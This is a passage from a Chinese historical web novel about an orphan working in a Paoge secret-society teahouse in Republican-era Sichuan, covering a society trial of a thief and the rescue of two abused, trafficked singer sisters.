“五嬢,能不能帮个忙,把撬狗儿抓了……”周立行观察刘五嬢的表情,见她并不在意积蓄,便直接说下文,“枪嘛……”
他又看了眼黑老鸹,心中一念生,“我留一把防身,送一把给黑老鸹,剩下两把感谢五嬢。”
他没提钱。要是找得回来箱子,里面能不能剩钱,天晓得!五嬢愿意给他,他就要,不给了,也无所谓。
他主要是不能便宜了撬狗儿,更不想丢了防身武器。这年头枪比钱贵,尤其是这些枪的来历怕是不凡……
刘五嬢心中意动,枪可是好东西,不过作为一个老江湖,她颇为谨慎:
“哪里来的?”
“……捡的。”周立行面无表情。
“哪里捡的?怎么捡的?这年头丢了枪可不比丢了银子,枪比银子贵重多了,岂有轻易丢了还不寻找的?九娃子,你得说实话。”
刘五嬢放下筷子,神情严肃。
“那我说实话,信不信由你们。”
周立行也无奈了,实话听起来很离谱,可让他也不能在刘五嬢面前乱编,这些中年人经历得多,谎言太容易被拆穿。
“猴子抢的,我其他东西跟猴子换的。”周立行双手一摊。
“被猴子抢了的人应该是军官,他们倒是想找,漫山遍野的猴子他们也不认识是哪个猴子来着……对我来说,就相当于捡的。”
“?!”刘五嬢瞪大眼,其他几位管事也是面面相觑。
“峨眉山的猴子?那倒是正常,算得上来路清白了……”
一个年纪颇大的管事自言自语,说着自己还嘿嘿一笑,“噫,这猴子是属浑水袍哥的呢!”
幺哥也听笑了,“浑水袍哥,可以抢,可以骗,但不能偷。这还抢的是官军,更合适了。”
周立行一听,立即看向黑老鸹,满脸愤愤不平和指责。
黑老鸹还在烫毛肚吃,他抬头瞪了周立行一眼:
“看什么看,老鸹我既不是骗,也不是偷,我那叫顺!我给你算了命,给你指了路,顺便自己要了报酬而已。”
周立行听得翻白眼,这老头着实太不要脸了!这种人怎么可能当过龙头老大,肯定又是骗人的!亏得那龚七的还信这个黑老鸹!都是闷嘚儿些!
刘五嬢跟着大家笑,冷不丁地问,“那你真的偷别人的婆娘了?”
周立行诧异地看向刘五嬢,“没有。”
他才多大啊,平时五孃都把他当小孩看,现在怎么又怀疑起人来了。
“哪个偷的呢?”刘五嬢眯着眼。
周立行苦笑了下,“五嬢,那人不敢认,但师父师兄对我有恩,我出来认,就当报恩。跳崖没死是我命大,过去的事就过去了。”
刘五嬢沉默了一瞬,黑老鸹突然一拍桌子,“好!知恩图报,不贪生怕死!是个好娃儿!春妹儿,派人去查,是哪个撬狗儿、贼娃子,敢在千秋茶馆偷东西!”
刘五嬢意味深长地瞥了黑老鸹一眼,向幺哥抬了抬下巴。
幺哥赶紧端起碗使劲刨两口,嘴里塞满毛肚儿,出了门。
周立行鞠躬道谢,想跟着幺哥一起走,刘五嬢却招招手。
“九娃儿,坐下吧。”
黑老鸹眼珠子一转,似乎猜到春妹儿要说什么,他想了想,也行。
于是黑老鸹立即起身搬了个圆凳子放自己身边,旁边管事也手脚麻利地摆好了碗筷。
周立行不知道刘五嬢葫芦里卖的什么药,只得谨慎地坐下,不敢动筷子。
“黑老鸹,你觉得这娃儿如何?”果不其然,刘五嬢把话题抛给了黑老鸹。
“父母双亡,无牵无挂;心性耿直,知恩图报;仪表堂堂,身手敏捷。”黑老鸹摇头晃脑,“是个好苗子啊,咋滴,你要收干儿子?”
刘五嬢一脚狠狠踏上了黑老鸹的脚背,黑老鸹嗷地惨叫一声。无他,刘五嬢的绣花布鞋前半部分包的是铁。
“莫踩,莫踩……春妹儿,我好好说话,好好说……”
黑老鸹哎哟哟的求饶,周立行则是忍不住噗地笑起来。
“让我再看哈嘛,你不要心慌,我心里有哈数!”黑老鸹双手合十举过头顶,一脸褶子皱城一团,做个可怜模样。
“我晓得春妹儿关心我,你放心,我给自己算过的,有人埋我……”
刘五嬢气不过,又踏了一脚上去。
周立行如此聪慧的人,虽然刘五嬢和黑老鸹没有明说,但他已经听的差不多明白了。
黑老鸹这个老袍哥江湖漂泊几十年,看样子是无妻
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无子,五嬢的小名应该是叫春妹儿,与黑老鸹是多年旧识。眼下,五嬢应该是动了心思,想让黑老鸹收个干儿子,给他养老送终。
周立行已经送了家婆,还送走了老主持。如果有人能教他谋生的本事,给他安稳生活的地方,那再给谁送下终养下老,他也没意见。
孤儿嘛,总是希望能有一起生活的家人的。
眼下看来,这个黑老鸹虽然爱坑骗人,本事还是有一些的,起码今天能在危急关头救他,至少不算个坏人。
黑老鸹想要再看下,那他也看下,大家要是看对眼,不一定当干儿子,当个关门弟子也是可以的。
想到这里,周立行便不紧张了,他大大方方地拿起筷子,伸进锅子里捞肉吃,这味道闻着也太香了!不吃白不吃!
黑老鸹见周立行放松下来开始大吃特吃,人老成精,他也懂了周立行的意思。
于是,在场的人心照不宣,好吃好喝继续摆起龙门阵。
一顿饭吃下来,周立行听的云里雾里,很多关于袍哥的黑话听不懂。吃完饭,他向刘五嬢、黑老鸹和各位管事道谢,依旧兢兢业业地去当自己的堂倌。
大约到了夜间十点,县城里规定的关门时间到了,普通客人们陆陆续续地离开。但茶馆并不一定会完全打烊,因的还有一些二楼包间的,会干一些其他事宜,有的是打牌打麻将,有的是密事夜商。
但今晚,刘五嬢却亲自去邀二楼剩下的客人们先行离开,她给的理由很简单也很有规矩:
店里有人犯了忌,她要清理门户。
此话一出,贵客们也没了探究的心思,毕竟不管在哪里,清理门户都是个很严重的事情。
谁不知道千秋茶馆是袍哥的堂口呢,刘五嬢坐镇这里,背后还有大爷支撑。算了算了,袍哥自家人的事儿,外人还是别掺和。
就在周立行以为自己可以去歇息的时候,幺哥带人来请他。他跟着幺哥先是去了库房,然后才发现,库房角落的柜子可以移开,而下面竟然还有一个地下室。
周立行跟着幺哥几人下去,赫然发现这竟然是一间牢房!
此刻牢房里点着煤油灯,房间主位有一张黑木大椅,左右各有三张雕花木椅。刘五嬢坐在黑木大椅左侧最边上的雕花大椅上,其余椅子是空的。黑老鸹自己搬了个小凳子,坐在角落里嗑瓜子。
房间里除了幺哥和黑老鸹,还有六名汉子,其中有两名是茶馆里的堂倌,剩下四个看起来反倒是像平日里经常来喝茶的客人。
周立行轻声细气地走过去,才看到对面墙上锁了个被打的鼻青脸肿的人,仔细一看,竟然是刘斑鸠。
13.千秋茶馆
灯火昏黄,人影肃杀,独属于地下室的潮闷空气让人有一种窒息的错觉,仿佛这里常年来都有什么东西腐败着一般,令人脊背发寒。
刘斑鸠被揍了一顿浑身痛,此刻又惊又怕,又哭又悔,恨不得能重来一遍,他一定不会猪油蒙心,去招惹周立行这个煞星。
真是好处没捞着,偷鸡不成蚀把米……
幺哥见人到齐了,向刘五嬢抱了个圈,朗声道:
“人赃并获,现来开堂!请关二爷开眼!”
地下室墙壁上有一个神龛,里面是红面关公。有个袍哥来上香磕头,红烛一点,照的关公似乎微微睁眼。
“刘斑鸠,你虽然不是袍哥人家,但你的保人是袍哥。他觉得丢脸,就不来了,说随我们咋个处置你。你家人那边,他去摆平。”
幺哥腰系红布,走上前对刘斑鸠开口。
周立行已经自发地挪到黑老鸹旁边蹲着,他小声问,“啥子保人?”
黑老鸹小小声回答,“袍哥人家的堂口茶馆,不得随意乱招人的。都是有人做保证,才能留在茶馆长期干,否则只能打个短工就得把人辞了。你个小狗娃儿,当初也是运气好,让春妹儿以为你是袍哥养大的孤儿,才给你口饭吃呢。”
周立行小小地点个头,继续听幺哥审刘斑鸠。
这刘斑鸠做事看似胆大,实则全是破绽,早上的时候他当着幺哥的面弯酸周立行不说,还指使别人弄坏二楼的茶具。本意上,他是想让周立行得罪贵客,或是有口说不清自己保管茶具不利。
可若是一个两个茶碗有损毁,还能算周立行做事不仔细。这每个茶碗都有豁口,谁看不出来是栽赃陷害?
有刘斑鸠的针对在前,幺哥第一时间就是先寻刘斑鸠,结果找了一圈,发现刘斑鸠竟然悄悄收拾东西跑了。
这还用说嘛,幺哥立马派人去告知保人。
保人丢了这么大个脸,亲自带人去刘斑鸠家外。等幺哥他们冲进去把正在睡觉的刘斑鸠抓住一顿揍,把埋在后院的木箱挖出来,保人直接说一句是生是死任由你们处置,就告辞了。
“天地良心,我没想过偷茶馆的东西……”刘斑鸠哭得满脸涕泪,“我确实是讨厌周九娃,只是想教训哈他,让他心急下。我箱子是要还他的……真的……”
黑老鸹戳周立行,“你信吗?”
周立行翻白眼,“那我还不如信你。”
那箱子是被砸开了锁的,估计是看见里面的枪,吓着刘斑鸠了,他才关上箱子赶紧给埋了。不过这刘斑鸠也是蠢,知晓要跑路,但跑得太近,只跑回县城外的自个儿家,那不是上赶着让人逮他嘛。
“五嬢,我错了,我晓得错了,饶了我吧……”
幺哥冷笑一声,“三只手,偷到袍哥五爷的名下,还敢狡辩。你要是有心,打开箱子,就该马上上报五嬢。”
周立行又嘀咕:“五爷是谁?”
这回换黑老鸹白了周立行一眼:
“袍哥里排位第三的叫当家,排位第五的是管事。内事不明问当家,外事不明问管事。而这管事里,最厉害的就是五爷。”
“堂口大的分红、黑五爷,红五爷管调处纠纷,黑五爷管执法询问。堂口小的,就一个五爷,上辅拜兄,下管拜弟,内管开山设堂、人事调迁、功过赏罚,外管迎宾赴会、走亲访友、解决纠纷、协调地方关系。”
周立行瞪大眼,“你是说,五嬢,就是五爷?”
黑老鸹悄声嘿了下,“咋滴?不晓得女袍哥的厉害啊?”
刘斑鸠还在呜哇哇地求饶,刘五嬢神色如常地坐在上座椅上,看似不经意地瞄了角落二人一眼。
黑老鸹和周立行瞬觉脊背汗毛倒竖,两人立马噤声,不再言语。
周立行跟黑老鸹在角落里嘀嘀咕咕的时候,幺哥已经把刘斑鸠审了一遍。
刘斑鸠虽然想方设法给自己找理由开脱,但事实俱在,他也抵赖不了什么,只得说自己嫉妒周立行能得刘五嬢的青眼,而自己同样是姓刘的,还是当袍哥的堂兄作保介绍来干活路的,干了两年多还是个底楼跑腿堂倌,他心中不服,所以想给周立行找点麻烦。
二楼【明泉】包间里的茶具是另外两个小堂倌做的,刘斑鸠一开始含含糊糊不肯承认自己指使,只说自己让小兄弟们帮忙教训,被幺哥压住小手指反折时,才赶紧改口承认是自己让他们干的。
刘五嬢看完全程,等幺哥向她请示时,才开口:
“斑鸠,你虽然不是袍哥兄弟,但家中有袍哥的弟兄,也算是沾亲带故。”
“袍哥人家,不拉稀摆带,要认黄认教。”
“你嫉恨兄弟,以大欺小,此乃犯了袍哥红十条。”
“你损毁公物,偷盗弟兄,此乃犯了我堂口帮规。”
“今我五嬢坐高堂,上拜关二爷,下通弟兄伙,给你两条路走。”
“砍你一只手,其他账一笔勾销。”
刘斑鸠疯狂摆头,“五嬢,要不得啊,那我以后咋个养活一家人……五嬢,求求你,饶了我吧……”
刘五嬢不为所动,“那就按规定,三倍赔偿损毁茶具,让你的家人一月内拿钱领人,否则就两只手都砍了。”
刘斑鸠脸色煞白,他父母还有三个儿子两个女儿,根本就不重视他,要说拿钱来领人,那是万万不可能的。
“五嬢,我晓得错了,我给你做牛做马当长工嘛,我家人心凉薄,他们肯定不得救我啊……五嬢……”刘斑鸠涕泪纵横,懊悔的真心实意。
黑老鸹磕着瓜子看得津津有味,周立行看得索然无味,甚至打起了呵欠。
“你想不想救他?”黑老鸹看热闹不嫌事大。
周立行心里烦,“我干嘛要救他?他要害我的时候想没想过我的下场?”
但话虽然这么说,周立行也不想在这里耽搁,他站了起来。
“五嬢,我可以说哈话不?”
刘五嬢轻轻的点头,眉目威严。
周立行伸了个懒腰活动了下筋骨,“刘斑鸠,实话说,我们往日无怨近日无仇,你对我的嫉恨着实莫名其妙。或者这就是你命中的一劫,劫在你自己身上,今日你嫉恨我,明日又该嫉恨谁呢?早晚都是要遭这一回呢。”
刘斑鸠点头如捣蒜,“小兄弟说的对,是我猪油蒙了心……你饶了我吧,我再也不敢了……”
“没得过教训的人,以后还是会犯的。”周立行摸着下巴,装模作样,
“五嬢,看他这样子,估计也真的没啥子钱。要不这样,我砍他手一刀,无论伤重伤轻,这事就过去了,他留下来给五嬢你当哈白工,只要不再偷鸡摸狗嫉恨他人,就当他改过自新了,要得不?”
“我那箱子里的东西,除了最初说的,留一把给我防身,送一把感谢黑老鸹,其他的都感谢五嬢。”
刘五嬢眸中精光闪动,她和黑老鸹对视一眼,黑老鸹笑呵呵地捻胡须。
刘五嬢便点了头。
“要得。”
大家都听出来,周立行这是要给刘斑鸠放大水坝子的意思,刘斑鸠却蠢得很,还真的以为周立行要砍他手,吓得发出杀猪般的嚎叫。幺哥几人心中好笑,但还是装模作样地把刘斑鸠从墙上解下来,押着压在一条案板上,强制把他的左手拽出来,再用链条锁的死死的。
周立行此刻也有些促狭,见刘斑鸠的样子如同捆起来杀的猪,想着自己今天差点被带走的惊,便从幺哥手里接过砍刀,对着刘斑鸠的手肘、手腕一通比划。
刘斑鸠还没有放弃,哭唧唧地同周立行商量,“小兄弟,不砍断,砍个伤口就行?好不?以后我做工挣的钱分你一半,我当你的小弟,你让干啥我干啥,我给你打洗脚水,我给你洗衣做饭……”
“停!”周立行听得一身鸡皮疙瘩,“我以后自己晓得找婆娘……”
“咳!”刘五嬢清了下嗓子,“砍人要见血,偷盗必断肉。九娃儿,你要动刀,就要守规矩。”
周立行收回思绪,狡黠地对着刘五嬢一挑眉,“放心,规矩是一定会守的!”
唰!砍刀挥起,带出破空的声音。
“啊!!!”刘斑鸠闭着眼睛发出凄厉的哀嚎,一把骚尿冲湿□□。
噔!砍刀切断刘斑鸠左手小手指的指甲,指甲连着手指尖小小的一块皮肉一起断开,血珠浸出。
“血出了,肉断了,手指也算手,唔,砍了。”周立行短短一瞬间露出了少年特有的得意笑容,随即又恢复了平时那副似静似凝的模样。
黑老鸹顿时哈哈大笑起来,“好小子!我喜欢!我喜欢!!”
刘斑鸠叫完了也尿完了,随即感觉只有左右小指尖在痛,他不可思议地睁开眼,瞅着指尖,又看向周立行,顿时又哭又笑,“感谢!小兄弟……不,哥,你是我的大哥……”
刘五嬢微微一笑,“刘斑鸠,
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今日之事,是九娃儿给你放的水。从今往后的一年,你要在茶馆里当挑柴工,包你吃住但没有工资,一年后再看你表现。”
刘斑鸠涕泪纵横,千恩万谢,从此再也不敢乱说乱干,甚至成了周立行的跟班。
周立行也因此一事,真正入了黑老鸹的眼。
*
刘斑鸠的事就此揭过,那两个帮忙弄坏茶具的小堂倌也遭了处罚,两人也都穷,赔不起钱,个个都跪着求饶。于是这两人被板子打肿了手,一并罚去当三个月的挑柴工抵赔款。
黑老鸹留在了茶馆里,白日里没事儿就去找人算算命,坑点钱,晚上就爱挨着周立行嘀嘀咕咕讲小话,尤其爱给周立行讲那些袍哥的过去。
“以前的袍哥组织,名叫哥老会,嘿!这与天地会、白莲教一般都是反清复明的组织,咱云贵川一带的袍哥名声,那可是响当当的!”
“当年轰轰烈烈震惊全国的保路运动背后便是袍哥人家四处奔走,后大量加入同盟会参与辛亥革命,又经历了护国运动和军政府时期,到现在的防区制,袍哥们也从一开始的身家清、己事明、一身肝胆为汉留,到现在分啥子清水士绅、浑水盗匪,哎,现在的袍哥些……都滥完了……”
这日晚上打样的早,周立行在扫地拖地擦桌子洗茶具,黑老鸹跟在周立行身后抽水叶子烟,一边吧嗒嘴一边嘀咕话。
周立行扭头一看,好家伙,自己刚扫完的地,又给这位爷弹满了烟灰。
当了几年和尚,周立行脾气沉稳了许多。常言道老来还小,他索性把这黑老鸹当小孩看,随手扯过一个椅子放在门边,一把扯过黑老鸹坐在椅子上,点了点黑老鸹又黑又皱的脸皮,摆了摆手示意他别动。
黑老鸹这人奇奇怪怪,对周立行这种颇为不尊的行为反而甘之如饴,他笑呵呵的问道:
“你这娃娃,有没有啥子想听的嘛,老辈子吃的盐比你吃过米都多,摆给你涨哈见识撒。”
周立行重新扫地,闻言抬头,问出了心中疑惑:
“说是袍哥兄弟伙,为啥子有女的呢?”
刘五嬢不仅在袍哥堂口,还能当排五,他是真的没搞懂。
“哦哟哟,小娃娃长大了,关心女人了啊?”黑老鸹咯咯怪笑。
周立行面无表情,扭头扫地。
黑老鸹倒也没一直打趣周立行,他吸了口烟,开口道:
“一开始,袍哥组织确实不收女的。现在世道不一样咯,从保路运动开始,各路女豪杰崭露头角。我跟你说啊,遇到女袍哥,尤其是女的浑水袍哥,那比遇到男的还要小心才行!”
“屏山县的时三妹,她哥哥是犍为、峨边的一位浑水袍哥,被清政府剿匪所杀。这位三妹,接过了哥哥的位置和兄弟,继续当土匪,还发展了上百名女袍哥,后来起义投向保路同志军。”
“新津县女袍哥苏二娘,其夫原在夹江县当路匪,早亡后也是她掌了家当。保路同志军在新津打保卫战的时候,她带了千余兄弟伙,白布缠头,黑布绑腿,背着大刀和□□,嚯哟,那叫一个生猛!”
“辛亥女杰里的杜黄氏也是女袍哥。她跟鉴湖女侠秋竞雄(秋瑾)是挚友,四川女子学堂便是她主办。她入哥老会时,其妹君硕、君伟亦入,她与君硕集合女性数十人,设暗杀部,谋刺清廷诸权贵,后又参与护国战争,胆识非凡。”
“天全县的孙三嫂,荥经县的包三嫂,都是浑水女袍哥,连军队都敢抢。包三嫂曾经带领袍哥队伍打进天全县,把县长赶走,然后打开监狱,把犯人全部放走……”
“所以啊,以前袍哥都说兄弟伙,现在说的则是兄弟姊妹伙,姊妹们,也有了不得的人物啊……比如咱们能说会写善赚钱的刘五嬢,那不比有些只晓得喝酒打牌抽大烟的五爷亮堂嘛!”
周立行听着黑老鸹在叨叨,心里则是形成了一个既定印象:在一群男人里面拼杀出来的女人,女袍哥们,都是凶凶。
待周立行收拾完屋子,黑老鸹跟着他一摇一摆地下楼,却见刘五嬢带着幺哥等人急匆匆地往库房走,中间抬着两个全身搭着黑布的人,地上则是低落着血迹。
刘五嬢看到黑老鸹和周立行,做了个扫地的姿势。
周立行满脸疑惑:“?”
黑老鸹拐了周立行一心窝子,“让你打扫血迹!别被人追踪到这来。”
周立行:“!”
这又是出了什么事!
14.千秋茶馆
周立行当了几年的和尚,只有诵经和当猴子的经验,着实没有打扫血迹的时候。
黑老鸹摇头晃脑,领着周立行提着水桶和草木灰桶出了门,借着月光,黑老鸹沿着街道嗅着血味,让周立行对准一些地方撒了草木灰冲洗,直到行至前面的岔路口才停。复而又返回拎了桶水,往别的街巷也撒了一遍,以做迷惑。
峨眉山下多雾多小雨,这一番下来,不出几个时辰,石板街面上便啥也看不出来了。
两人哼哧哼哧的搞了好一会儿,摸黑回到茶馆,立时又被幺哥给请去了地下室。
*
这回周立行跟着到的,又是另一间库房的地下室,不是刑房,而是以往用来暂时收留被官府通缉的袍哥兄弟的专用房间。
这间地下室气味较浑,但人味不显,闻起来应该三五月里没有人住了。
房间内里布置得十分紧凑,两面墙贴墙放着木制的双层床,另一面墙放一排大抽屉柜,每个抽屉都贴有纸扉,上写着:金疮药、退热药、跌打损伤药、白酒、针线等字,有的抽屉没有贴纸扉,但画的有铜钱纹样,想来可能是一些钱财。
“这房间有三个地道,通往三个不同的地方……这里就是个避难地,你看那边的铜马桶,啧,感觉传承起码三代人……”
黑老鸹在周立行耳边嘀嘀咕咕,周立行忍不住瞥了那个马桶一眼,心想原来浑浊的味道大部分从那里来。
“黑老鸹,九娃儿,你们别说话,看下她们。”刘五嬢声音略显沉重,“那个杨团长,也太不做人了。”
周立行进房间便已经看到了,已经简单换过衣服、躺在床上的,正是前几日见过的双胞胎姐妹,红山茶和白山茶。
当日的姐妹俩明眸娇俏,神采奕奕,唱的清音小调婉转悦耳,真真宛如两朵开在山间的茶花般赏心悦目。
此刻的姐妹俩,脸上脖子上有着许多乌青的掐痕抓伤,头发被绞剪得如狗啃一般,不知是姐姐还是妹妹的耳垂被扯掉了半边,身上的伤看不到,想来也不会轻。两人俱是昏迷着,面色灰白,唇色发青,呼吸又浅又短,随时要断气一般。
“这是咋个啦?”黑老鸹看得怜香惜玉之心大起,“楞个乖的妹娃儿,咋的往死里整哦!”
刘五嬢娓娓道来。
原来这事,还真的是环环相扣。
茶馆每日烧水,柴禾用量巨大。这几日刘斑鸠和他的两个小跟班天天去山里向樵夫买柴挑回,傍晚时,那小跟班之一眼尖,瞅到了当日为难过周立行的莫副官。
那莫副官一身便装,带了几个兄弟,背了两个染着血迹的麻布口袋丢进了山坳里。
刘斑鸠和两个小跟班趁暮色悄悄摸摸地跟着,听他们谈说团长脾气真大,二姨太手段真狠之类的,又叹息这么漂亮的女娃子,还没死就这么丢了太可惜。眼见着他们打开口袋,竟然是两个已经昏迷的女子,再仔细一看,分明就是之前的那对双胞胎歌女。
刘斑鸠和两个小跟班眼见着那莫副官带人又欺辱了一遍双胞胎,也不知道怎么想的,竟然躲着看完了全程。
等那莫副官带人走后,听他们说先把人丢了,明儿再来看看死没死,要是命硬没死,就把人悄悄拖去卖了换点酒钱。
刘斑鸠三人不知是善心发作还是心有恶念,总之,他们三人等那些人走之后,也摸了过去。然而那两姐妹里竟然正好转醒了一个,也许是识得刘斑鸠,便喊出了名字。
“刘斑鸠,带我们去找五嬢,必有重谢!不然,我们死了做鬼也要先找你!”
刘斑鸠三人吓得抱成一团,不管三人是有贼心没贼胆,还是怕女鬼,总之,他们把这俩女娃儿挪了个安全地方,遣一人跑回来向刘五嬢报了信。
“她们既是报了我的名号,我便帮扶一把,先把人救回来。”
刘五嬢长叹一声,“现如今,只有等她们熬过这一关,若是醒得过来,再看她们有什么想法吧。”
周立行沉默地看着这对双胞胎姐妹,二人看起来也就约莫十七八的年纪,本应该是盛开的花,此刻却快要枯萎了。
人命如草芥,他突然真正地意识到这句话有多么残酷。
*
地下室的茶花姐妹确实命大,昏迷一天一夜后,两人都转醒过来,用了些米粥,便断断续续地讲起了过往。
原来,这两姐妹原本出身一户商人家庭,母亲早些年生了个儿子,便带孩子留在成都打理家业。父亲则是常年在外做生意,过了十来年回家,才和母亲生了她们俩。这姐妹俩在八岁之前,也是过了一段好日子的。
然而,母亲积劳成疾,在她们八岁的时候走了。父亲从外面带回了个姨太太扶正,兄长跟着父亲出去跑商,家里便只剩下了继母等人。
这世间好坏的不是继母的身份,而是当继母的人。两姐妹遇到的,就是个小心眼的女人,心肠也坏。她看不惯女娃子读书,便不让两姐妹去女子学堂,她喜欢听唱曲,便让这两姐妹去学唱清音,还美名其曰以后能讨夫家喜欢。
于是乎好好的商家小姐,不学识字算数管账,倒是学起了曲艺歌舞这些东西来。私下里学一学也就罢了,这继母也不知是出于什么心理,平日里热爱邀些其他商家或者士绅家的太太们一起打麻将喝茶,中途总是要把两姐妹喊来表演一番。
纵然是在民国,优伶娼妓仍然是大众心中的下九流,那些走街串巷唱歌的也好,登台亮相唱戏的也好,哪个不是给钱就能弄的玩物?
两姐妹被迫这么在太太们面前表演,屈辱得很。太太们表面上说些夸奖恭维继母的话,背地里则是七嘴八舌地议论小姑娘命不好,遇到这么个又蠢又毒的继母。
再后来没过几年,两姐妹的父兄在外跑商的时候又是赌博又是吸鸦片,家当败了个七七八八,兄长染病而死,父亲返回家中也是病体难捱,整日里只管吸鸦片喝酒,根本没了那个精力管理家事。
于是那继母一手掌了家,管起了土地房产。后来又觉得自个儿这样压不住夫家的亲戚,千里迢迢地找人带信去了外省找来娘家一大群人,来这成都帮忙管理家业。又因继母膝下无子,娘家人赶紧从自家找出了个几岁小儿,给那继母当儿子。
有了娘家的掺和,继母便想收聘礼把双胞胎两姐妹给嫁了。奈何继母以前的做派,让周围的好人家都不乐意娶这俩唱曲子的小姐。这继母一不做二不休,干脆把两姐妹卖给了自己识得的茶商。
“我姐妹俩十二岁的时候,被卖给了现在的木茶商,到如今快五年了。明面上说咱们是木家
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养的歌女,实际上便是养的家妓。”
红山茶一边说一边抹泪,她是姐姐,是她最早醒来喊出刘斑鸠的名字,这才让两姐妹有了后续的转机。
“凡是主人家要接待的贵客看上,我姐妹俩都会被送出去,陪上客人一段时间……陪吃配合陪玩陪睡。待到他们生意谈妥了,或是对方腻了,我俩又会被送回木家。若是遇上些怜香惜玉的,还能对我姐妹俩好点,若是遇上狠人恶人,我俩好几次差点被整死。”
“这些年,沿着这茶马古道和长江船运,我姐妹俩不知道迎来送往了多少男人……吃了多少苦……”
刘五嬢叹气,握着红山茶的手,“都过去了。”
白山茶见姐姐哭得说不下去,接过了话头,她说话更简略一些,情绪跟平静。
“这次的杨团长,因没玩过双胞胎,近段时间对我们姐妹俩甚是心热,出入哪里都带着。他的二姨太,是个有名的妒妇,不敢对杨团长这种人下手,最爱收拾刚进门的姨太太。”
“她误以为我们是杨团长新纳的人,心中有恨。那日杨团长不在,木茶商来找我俩问话。呵,我俩是他的家妓,他自然是要动手动脚、言语轻薄的。那二姨太误以为我俩私会旧情人,顿时发了母猪疯,直叫来一群家丁,把我俩打个半死,剥了衣衫挂在他们家门口示众。”
“木茶商解释也无用,他也挨了一顿打,呸,活该。”
“本以为杨团长回来能解开误会,哪知道木茶商和杨团长生意并没有谈好,因此一事反而生了嫌隙。那杨团长杀鸡儆猴,说什么送出去的女人、说出口的话、谈好的条件,都不可能有什么变化。”
“然后,他们定了我姐妹俩私通外人的罪名,又给一人打了五十鞭子,便叫那莫副官用麻袋装了,把我俩扔山里喂狼。”
后面的事情大家便知晓,那莫副官带人去扔着伤痕累累晕死过去的两姐妹,被刘斑鸠看到。苏醒的姐姐认得刘斑鸠,又想到平日里听说的关于刘五嬢行侠仗义的事迹,便横下一条心,为姐妹俩争了一条活路。
密室里人不多,除了山茶姐妹、刘五嬢、幺哥外,便只有黑老鸹和周立行。
周立行不太懂为什么五嬢要喊自己旁听这件事,只能浅薄地理解,可能是黑老鸹想掺和,而自己作为徒弟或干儿子的预备人员,就只能跟着听了。
“我虽然救了你们,但不可能一直留你们。我们堂口那么多兄弟伙,都是要吃饭的。眼下,你们有什么打算?能付得起什么报酬?”
刘五嬢活到这把年纪,见过的悲惨事很多,她的心肠不硬,但也不是同情心泛滥的人。她把自己能做的事和堂口能做的事,分得很清楚。
红山茶已止了哭泣,她用手帕擦干涕泪,颤声道:
“我姐妹俩做梦都想逃离木家,平日里都在想方设法积攒银钱。可此次事出突然,我俩被丢出来之前,簪钗耳环,手镯鞋袜都被脱了个干净,到真的是身无分文了。”
白山茶倒是沉着,“姐姐忘记了,我们在喜雀姐那里存得有金首饰。”
红山茶欲言又止,白山茶却直接拿了主意。
“五嬢,可否请人代为悄悄联系一人,名叫王喜雀。她是木茶商此次带来峨眉一起谈生意的姨太太,年岁二十八。”
15.千秋茶馆
刘五嬢微微眯眼,谨慎道:“此人可信?”
白山茶笃定地点头,她十分信任地回答:
“喜雀姐当年只是木茶商在川渝一带置产做生意的女管事,他见人家本领强,便强压着不让嫁人,最后强纳了喜雀姐做的小老婆。”
“她心里也恨着木茶商,只是木茶商对她还算好,她没有什么更好的选择,只能这样将就着过日子而已。”
红山茶也想通了,此刻确实没有什么更好的办法,她们俩也不可能在这个风头上唱曲挣钱,要想活下去,就得有钱。她附和道:
“喜雀姐人很好,帮过我们好几次。我们在外面收到的打赏,好些都是悄悄交给喜雀姐代为保管的。她跟我们说过很多次,若是有机会能跑就跑,到时候她会把那些金首饰给我们当盘缠或是嫁妆。”
黑老鸹听得双眼冒光,又开始跟周立行嘀咕,“听她们讲来,这个王喜雀也是个好女子啊,不知道长得漂亮不漂亮……狗日的什么木什么,怎么祸害这么多好女子啊……”
周立行算是发现了,这爱骗人的老头还有个喜好,那就是女子。只要是女子的事情,甭管好事坏事,他是又爱听来又爱评。
白山茶和红山茶两人又合计了一通,最终向刘五嬢回话。
“总之,希望五嬢能先想办法联系喜雀姐。若能顺利拿到盘缠,我们就离开四川,去其他地方谋生。至于去哪里,到时候听五嬢你们安排。”
刘五嬢见着两个少女利落干脆,便定下心来帮她们。她环视一圈,觉得这事最好是不沾堂口,现下正好有两个合适的人选可以接活。
“好。黑老鸹,这活路你接不接?”
黑老鸹嘿嘿一笑,“接,这么乖的女娃娃遭难了,我肯定要帮忙撒。离开这里嘛,没得问题,九娃儿我就一起带出去闯哈码头。”
“九娃儿,你去想办法联系王喜雀。”黑老鸹伸手戳了一把周立行的后背心。
周立行冷不丁又被戳,心里也是奇怪,明明在山上的时候,那些猴子很难偷袭他的后背,偏在黑老鸹这里,三天两头地被他点各种破绽。
“行,我去。”周立行心想,这黑老鸹时不时秀的几手,能看出这老东西确实深藏不漏,有点本事,必须得学到手。
*
周立行抱着给新师父办事儿的态度,顺着幺哥收集来的消息,蹲在了县城最大的宾馆门口,和一群推鸡公车、拉黄包车的车夫们聊着天等人。
这是他守在门口的第二天了,因车夫里面有五嬢堂口的袍哥,大概知道他是专门来蹲人的,还专门给他打掩护,没让别人点他的车。
车夫们有活接活,没活的时候便天南海北地聊天,话题左右不过袍哥争地盘打群架、本地军阀和入主西南的蒋老大闹矛盾、哪家的大爷或军官纳姨太太、穷家恶妇先揍男人再殴婆婆之类的话题。
周立行只带耳朵听,不参与评论。
功夫不负有心人,在今日午后雾散日出的时候,公馆里终于走出了周立行要等的人。
此刻阳光正好,王喜雀应是要出门办事,打扮得颇为光彩。
她梳着已婚女性的圆髻,头上戴着一排香味馥郁的黄桷兰,再插着两根银钗;耳上缀着金镶碧玉的耳环,脖颈上一串圆润的珍珠,左手戴着柿子肉色的南红手镯,身穿传统粉紫色的圆领斜襟衫,下穿同色系的马面裙,金银线绣花的黑色滚边压住了粉紫色的轻浮,黑色绣花鞋尺码颇大,行走稳健。
她皮肤凝白如脂,眉色浓黑,一双孔雀眼眸黑且大,顾盼之间神采逼人,秀鼻高挺,面颊饱满,嘴唇涂过胭脂水,红得莹润有光泽,虽说个子不高,整个人却如同一株盛放的映山红,有着蓬勃耀眼的生命力。
也许是当了多年管事,现在也在帮夫家做生意的缘故,她周身气质利落精干,一行一动颇有大姐风范,一眼看上去便是那种聪慧持家的厉害成熟女人,在最好的年岁,有着最美颜的风华。
周立行的心口,不知为何噗通噗通跳起来。
他心中的女性形象,向来是单一的。
母亲早亡,家婆和姨妈是对他最好的女性,他心中堪比母亲的存在,是最爱的;
